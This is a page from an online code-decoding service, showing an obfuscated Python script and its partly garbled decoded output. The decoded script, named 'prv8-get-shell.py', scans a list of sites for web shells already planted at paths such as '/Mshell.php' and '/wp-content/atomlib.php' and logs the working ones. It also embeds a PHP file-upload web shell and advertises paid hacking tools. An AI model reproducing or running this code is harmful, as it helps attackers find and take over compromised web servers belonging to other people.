Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

import marshal exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00..

Decoded Output download

import marshal 
exec marshal.loads('c@sddlZddlZddlZddlmZddlmZddlmZedeej	Z
ejZej
ZejZejZdGHdZejjidd	6d
d6dd
6dd6dd6dd6dd6dd6Zy<geejdddjD]Zej^qZWnMek
roeejdjdZ e!de e"e ddnXdZ#d Z$ed!Z%e%j&e$ee%j\'e%j(d"j)eGHdS(#iN(tPool(tFore(tinitt	autoresets
  ______                        ____        __ 
 /_  __/__  ____ _____ ___     / __ \____  / /_
  / / / _ \/ __ `/ __ `__ \   / / / / __ \/ __/
 / / /  __/ /_/ / / / / / /  / /_/ / /_/ / /__ 
/_/  \___/\__,_/_/ /_/ /_/  /_____/\____/\__(_)
                                               
	    Telegram Channels => https://t.me/team_dot33
                            DM For paid tools :@Mr_dot33 
s`<?php echo "Raiz0WorM"; echo "<br>".php_uname()."<br>"; echo "<form method=\'post\' enctype=\'multipart/form-data\'> <input type=\'file\' name=\'zb\'><input type=\'submit\' name=\'upload\' value=\'upload\'></form>"; if($_POST[\'upload\']) { if(@copy($_FILES[\'zb\'][\'tmp_name\'], $_FILES[\'zb\'][\'name\'])) { echo "eXploiting Done"; } else { echo "Failed to Upload."; } } ?>s
keep-alivet
Connections	max-age=0s
Cache-Controlt1sUpgrade-Insecure-RequestssMozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36s
User-AgentsUtext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8tAccepts
gzip, deflatesAccept-Encodingsen-US,en;q=0.9,fr;q=0.8sAccept-Languageswww.google.comtrefereritmodetris\s
  [!] Enter <s
> <sites.txt>cCs|jdr$|jdd}n$|jdrH|jdd}ntjd}x2tj||rtj||}|d}qZW|S(Nshttp://tshttps://s(.*)/i(t
startswithtreplacetretcompiletfindall(tsitetpatterntsitez((sprv8-get-shell.pyt	URLdomain)sc
Cs<ydt|}tj|ddtdtdd}d|jkrzd|d	jtGHtd
dj	|dnd
t|}tj|ddtdtdt
dd}d|jkrd|d	jtGHtd
dj	|dn&d|djtGHdt|}tj|ddtdtdd}d|jkrd|d	jtGHtd
dj	|dnd
t|}tj|ddtdtdt
dd}d|jkrd|d	jtGHtd
dj	|dnd|djtGHWnd|djtGHnXdS(Nshttp://s/Mshell.phptheaderstallow_redirectsttimeoutisMadstore.sk! - Priv8 Sh3ll!s -| s --> {}[Succefully]sshell-fresh.txttas/Mshell.php
shttps://sioxi-rex.phptverifysALFA TEaM Shell - v4.1-Teslas
ioxi-rex.php
s --> {}[Failed]s/wp-content/style-css.phpsUname:s/wp-content/style-css.php
s/wp-content/atomlib.phps0<input type="submit" name="submit" value="  >>">s/wp-content/atomlib.php
(RtrequeststgetRtTruetcontenttformattfgtopentwritetFalsetfr(turltcheck((sprv8-get-shell.pytFourHundredThree7s2%+%+is
 [!] {}Saved in Shells.txt(*tsysRR
tmultiprocessing.dummyRtcoloramaRRRtREDR"tCYANtfctWHITEtfwtGREENRtMAGENTAtfmtshellturllib3tdisable_warningsRRtargvt	readlinestitstripttargett
IndexErrortstrtsplittpathtexittlenRR%tmptmaptclosetjoinR(((sprv8-get-shell.pyt<module>s@$
					

<
$		

')

Did this file decode correctly?

Original Code

import marshal
exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s\xc4\x01\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x02\x00l\x03\x00m\x04\x00Z\x04\x00\x01d\x00\x00d\x03\x00l\x05\x00m\x06\x00Z\x06\x00\x01d\x00\x00d\x04\x00l\x05\x00m\x07\x00Z\x07\x00\x01e\x07\x00d\x05\x00e\x08\x00\x83\x00\x01\x01e\x06\x00j\t\x00Z\n\x00e\x06\x00j\x0b\x00Z\x0c\x00e\x06\x00j\r\x00Z\x0e\x00e\x06\x00j\x0f\x00Z\x10\x00e\x06\x00j\x11\x00Z\x12\x00d\x06\x00GHd\x07\x00Z\x13\x00e\x01\x00j\x14\x00j\x15\x00\x83\x00\x00\x01i\x08\x00d\x08\x00d\t\x006d\n\x00d\x0b\x006d\x0c\x00d\r\x006d\x0e\x00d\x0f\x006d\x10\x00d\x11\x006d\x12\x00d\x13\x006d\x14\x00d\x15\x006d\x16\x00d\x17\x006Z\x16\x00y<\x00g\x00\x00e\x17\x00e\x00\x00j\x18\x00d\x18\x00\x19d\x19\x00d\x1a\x00\x83\x01\x01j\x19\x00\x83\x00\x00D]\x12\x00Z\x1a\x00e\x1a\x00j\x1b\x00\x83\x00\x00^\x02\x00q\x07\x01Z\x1c\x00WnM\x00\x04e\x1d\x00k\n\x00ro\x01\x01\x01\x01e\x1e\x00e\x00\x00j\x18\x00d\x1b\x00\x19\x83\x01\x00j\x1f\x00d\x1c\x00\x83\x01\x00Z \x00e!\x00d\x1d\x00e \x00e"\x00e \x00\x83\x01\x00d\x18\x00\x18\x19\x17d\x1e\x00\x17\x83\x01\x00\x01n\x01\x00Xd\x1f\x00\x84\x00\x00Z#\x00d \x00\x84\x00\x00Z$\x00e\x04\x00d!\x00\x83\x01\x00Z%\x00e%\x00j&\x00e$\x00e\x1c\x00\x83\x02\x00\x01e%\x00j\'\x00\x83\x00\x00\x01e%\x00j(\x00\x83\x00\x00\x01d"\x00j)\x00e\x0c\x00\x83\x01\x00GHd\x01\x00S(#\x00\x00\x00i\xff\xff\xff\xffN(\x01\x00\x00\x00t\x04\x00\x00\x00Pool(\x01\x00\x00\x00t\x04\x00\x00\x00Fore(\x01\x00\x00\x00t\x04\x00\x00\x00initt\t\x00\x00\x00autoresets\x8d\x01\x00\x00\n  ______                        ____        __ \n /_  __/__  ____ _____ ___     / __ \\____  / /_\n  / / / _ \\/ __ `/ __ `__ \\   / / / / __ \\/ __/\n / / /  __/ /_/ / / / / / /  / /_/ / /_/ / /__ \n/_/  \\___/\\__,_/_/ /_/ /_/  /_____/\\____/\\__(_)\n                                               \n\t    Telegram Channels => https://t.me/team_dot33\n                            DM For paid tools :@Mr_dot33 \ns`\x01\x00\x00<?php echo "Raiz0WorM"; echo "<br>".php_uname()."<br>"; echo "<form method=\'post\' enctype=\'multipart/form-data\'> <input type=\'file\' name=\'zb\'><input type=\'submit\' name=\'upload\' value=\'upload\'></form>"; if($_POST[\'upload\']) { if(@copy($_FILES[\'zb\'][\'tmp_name\'], $_FILES[\'zb\'][\'name\'])) { echo "eXploiting Done"; } else { echo "Failed to Upload."; } } ?>s\n\x00\x00\x00keep-alivet\n\x00\x00\x00Connections\t\x00\x00\x00max-age=0s\r\x00\x00\x00Cache-Controlt\x01\x00\x00\x001s\x19\x00\x00\x00Upgrade-Insecure-Requestss\x98\x00\x00\x00Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36s\n\x00\x00\x00User-AgentsU\x00\x00\x00text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8t\x06\x00\x00\x00Accepts\r\x00\x00\x00gzip, deflates\x0f\x00\x00\x00Accept-Encodings\x17\x00\x00\x00en-US,en;q=0.9,fr;q=0.8s\x0f\x00\x00\x00Accept-Languages\x0e\x00\x00\x00www.google.comt\x07\x00\x00\x00refereri\x01\x00\x00\x00t\x04\x00\x00\x00modet\x01\x00\x00\x00ri\x00\x00\x00\x00s\x01\x00\x00\x00\\s\x0e\x00\x00\x00\n  [!] Enter <s\r\x00\x00\x00> <sites.txt>c\x01\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x90\x00\x00\x00|\x00\x00j\x00\x00d\x01\x00\x83\x01\x00r$\x00|\x00\x00j\x01\x00d\x01\x00d\x02\x00\x83\x02\x00}\x00\x00n$\x00|\x00\x00j\x00\x00d\x03\x00\x83\x01\x00rH\x00|\x00\x00j\x01\x00d\x03\x00d\x02\x00\x83\x02\x00}\x00\x00n\x00\x00t\x02\x00j\x03\x00d\x04\x00\x83\x01\x00}\x01\x00x2\x00t\x02\x00j\x04\x00|\x01\x00|\x00\x00\x83\x02\x00r\x8b\x00t\x02\x00j\x04\x00|\x01\x00|\x00\x00\x83\x02\x00}\x02\x00|\x02\x00d\x05\x00\x19}\x00\x00qZ\x00W|\x00\x00S(\x06\x00\x00\x00Ns\x07\x00\x00\x00http://t\x00\x00\x00\x00s\x08\x00\x00\x00https://s\x05\x00\x00\x00(.*)/i\x00\x00\x00\x00(\x05\x00\x00\x00t\n\x00\x00\x00startswitht\x07\x00\x00\x00replacet\x02\x00\x00\x00ret\x07\x00\x00\x00compilet\x07\x00\x00\x00findall(\x03\x00\x00\x00t\x04\x00\x00\x00sitet\x07\x00\x00\x00patternt\x05\x00\x00\x00sitez(\x00\x00\x00\x00(\x00\x00\x00\x00s\x11\x00\x00\x00prv8-get-shell.pyt\t\x00\x00\x00URLdomain)\x00\x00\x00s\x12\x00\x00\x00\x00\x01\x0f\x01\x15\x01\x0f\x01\x15\x03\x0f\x01\x15\x01\x12\x01\x0e\x01c\x01\x00\x00\x00\x02\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00s<\x02\x00\x00y\x18\x02d\x01\x00t\x00\x00|\x00\x00\x83\x01\x00\x17}\x00\x00t\x01\x00j\x02\x00|\x00\x00d\x02\x00\x17d\x03\x00t\x03\x00d\x04\x00t\x04\x00d\x05\x00d\x06\x00\x83\x01\x03}\x01\x00d\x07\x00|\x01\x00j\x05\x00k\x06\x00rz\x00d\x08\x00|\x00\x00\x17d\t\x00j\x06\x00t\x07\x00\x83\x01\x00\x17GHt\x08\x00d\n\x00d\x0b\x00\x83\x02\x00j\t\x00|\x00\x00d\x0c\x00\x17\x83\x01\x00\x01n\xa3\x00d\r\x00t\x00\x00|\x00\x00\x83\x01\x00\x17}\x00\x00t\x01\x00j\x02\x00|\x00\x00d\x0e\x00\x17d\x03\x00t\x03\x00d\x04\x00t\x04\x00d\x0f\x00t\n\x00d\x05\x00d\x06\x00\x83\x01\x04}\x01\x00d\x10\x00|\x01\x00j\x05\x00k\x06\x00r\xf7\x00d\x08\x00|\x00\x00\x17d\t\x00j\x06\x00t\x07\x00\x83\x01\x00\x17GHt\x08\x00d\n\x00d\x0b\x00\x83\x02\x00j\t\x00|\x00\x00d\x11\x00\x17\x83\x01\x00\x01n&\x00d\x08\x00|\x00\x00\x17d\x12\x00j\x06\x00t\x0b\x00\x83\x01\x00\x17GHd\x01\x00t\x00\x00|\x00\x00\x83\x01\x00\x17}\x00\x00t\x01\x00j\x02\x00|\x00\x00d\x13\x00\x17d\x03\x00t\x03\x00d\x04\x00t\x04\x00d\x05\x00d\x06\x00\x83\x01\x03}\x01\x00d\x14\x00|\x01\x00j\x05\x00k\x06\x00r\x84\x01d\x08\x00|\x00\x00\x17d\t\x00j\x06\x00t\x07\x00\x83\x01\x00\x17GHt\x08\x00d\n\x00d\x0b\x00\x83\x02\x00j\t\x00|\x00\x00d\x15\x00\x17\x83\x01\x00\x01n\x93\x00d\r\x00t\x00\x00|\x00\x00\x83\x01\x00\x17}\x00\x00t\x01\x00j\x02\x00|\x00\x00d\x16\x00\x17d\x03\x00t\x03\x00d\x04\x00t\x04\x00d\x0f\x00t\n\x00d\x05\x00d\x06\x00\x83\x01\x04}\x01\x00d\x17\x00|\x01\x00j\x05\x00k\x06\x00r\x01\x02d\x08\x00|\x00\x00\x17d\t\x00j\x06\x00t\x07\x00\x83\x01\x00\x17GHt\x08\x00d\n\x00d\x0b\x00\x83\x02\x00j\t\x00|\x00\x00d\x18\x00\x17\x83\x01\x00\x01n\x16\x00d\x08\x00|\x00\x00\x17d\x12\x00j\x06\x00t\x0b\x00\x83\x01\x00\x17GHWn\x1d\x00\x01\x01\x01d\x08\x00|\x00\x00\x17d\x12\x00j\x06\x00t\x0b\x00\x83\x01\x00\x17GHn\x01\x00Xd\x00\x00S(\x19\x00\x00\x00Ns\x07\x00\x00\x00http://s\x0b\x00\x00\x00/Mshell.phpt\x07\x00\x00\x00headerst\x0f\x00\x00\x00allow_redirectst\x07\x00\x00\x00timeouti\x0f\x00\x00\x00s\x1b\x00\x00\x00Madstore.sk! - Priv8 Sh3ll!s\x04\x00\x00\x00 -| s\x13\x00\x00\x00 --> {}[Succefully]s\x0f\x00\x00\x00shell-fresh.txtt\x01\x00\x00\x00as\x0c\x00\x00\x00/Mshell.php\ns\x08\x00\x00\x00https://s\x0c\x00\x00\x00ioxi-rex.phpt\x06\x00\x00\x00verifys\x1c\x00\x00\x00ALFA TEaM Shell - v4.1-Teslas\r\x00\x00\x00ioxi-rex.php\ns\x0f\x00\x00\x00 --> {}[Failed]s\x19\x00\x00\x00/wp-content/style-css.phps\x06\x00\x00\x00Uname:s\x1a\x00\x00\x00/wp-content/style-css.php\ns\x17\x00\x00\x00/wp-content/atomlib.phps0\x00\x00\x00<input type="submit" name="submit" value="  >>">s\x18\x00\x00\x00/wp-content/atomlib.php\n(\x0c\x00\x00\x00R\x13\x00\x00\x00t\x08\x00\x00\x00requestst\x03\x00\x00\x00getR\x14\x00\x00\x00t\x04\x00\x00\x00Truet\x07\x00\x00\x00contentt\x06\x00\x00\x00formatt\x02\x00\x00\x00fgt\x04\x00\x00\x00opent\x05\x00\x00\x00writet\x05\x00\x00\x00Falset\x02\x00\x00\x00fr(\x02\x00\x00\x00t\x03\x00\x00\x00urlt\x05\x00\x00\x00check(\x00\x00\x00\x00(\x00\x00\x00\x00s\x11\x00\x00\x00prv8-get-shell.pyt\x10\x00\x00\x00FourHundredThree7\x00\x00\x00s2\x00\x00\x00\x00\x01\x03\x01\x10\x01%\x01\x0f\x01\x16\x01\x1d\x02\x10\x01+\x01\x0f\x01\x16\x01\x1d\x02\x16\x01\x10\x01%\x01\x0f\x01\x16\x01\x1d\x02\x10\x01+\x01\x0f\x01\x16\x01\x1d\x02\x1a\x01\x03\x01i\x96\x00\x00\x00s\x1b\x00\x00\x00\n [!] {}Saved in Shells.txt(*\x00\x00\x00t\x03\x00\x00\x00sysR\x19\x00\x00\x00R\r\x00\x00\x00t\x15\x00\x00\x00multiprocessing.dummyR\x00\x00\x00\x00t\x08\x00\x00\x00coloramaR\x01\x00\x00\x00R\x02\x00\x00\x00R\x1b\x00\x00\x00t\x03\x00\x00\x00REDR"\x00\x00\x00t\x04\x00\x00\x00CYANt\x02\x00\x00\x00fct\x05\x00\x00\x00WHITEt\x02\x00\x00\x00fwt\x05\x00\x00\x00GREENR\x1e\x00\x00\x00t\x07\x00\x00\x00MAGENTAt\x02\x00\x00\x00fmt\x05\x00\x00\x00shellt\x07\x00\x00\x00urllib3t\x10\x00\x00\x00disable_warningsR\x14\x00\x00\x00R\x1f\x00\x00\x00t\x04\x00\x00\x00argvt\t\x00\x00\x00readlinest\x01\x00\x00\x00it\x05\x00\x00\x00stript\x06\x00\x00\x00targett\n\x00\x00\x00IndexErrort\x03\x00\x00\x00strt\x05\x00\x00\x00splitt\x04\x00\x00\x00patht\x04\x00\x00\x00exitt\x03\x00\x00\x00lenR\x13\x00\x00\x00R%\x00\x00\x00t\x02\x00\x00\x00mpt\x03\x00\x00\x00mapt\x05\x00\x00\x00closet\x04\x00\x00\x00joinR\x1d\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x11\x00\x00\x00prv8-get-shell.pyt\x08\x00\x00\x00<module>\x02\x00\x00\x00s@\x00\x00\x00$\x01\x10\x01\x10\x01\x10\x01\r\x02\t\x01\t\x01\t\x01\t\x01\t\x0c\x05\x01\x06\x01\r\x01\n\x01\x07\x01\x07\x01\x07\x01\x07\x01\x07\x01\x07\x01\n\x01\x03\x01<\x01\r\x01\x1c\x01$\x02\t\x0e\t\x1f\x0c\x01\x10\x01\n\x01\n\x02')

Function Calls

None

Variables

None

Stats

MD5 5e6753589d7aa3d8fb5455997bd913e9
Eval Count 0
Decode Time 52 ms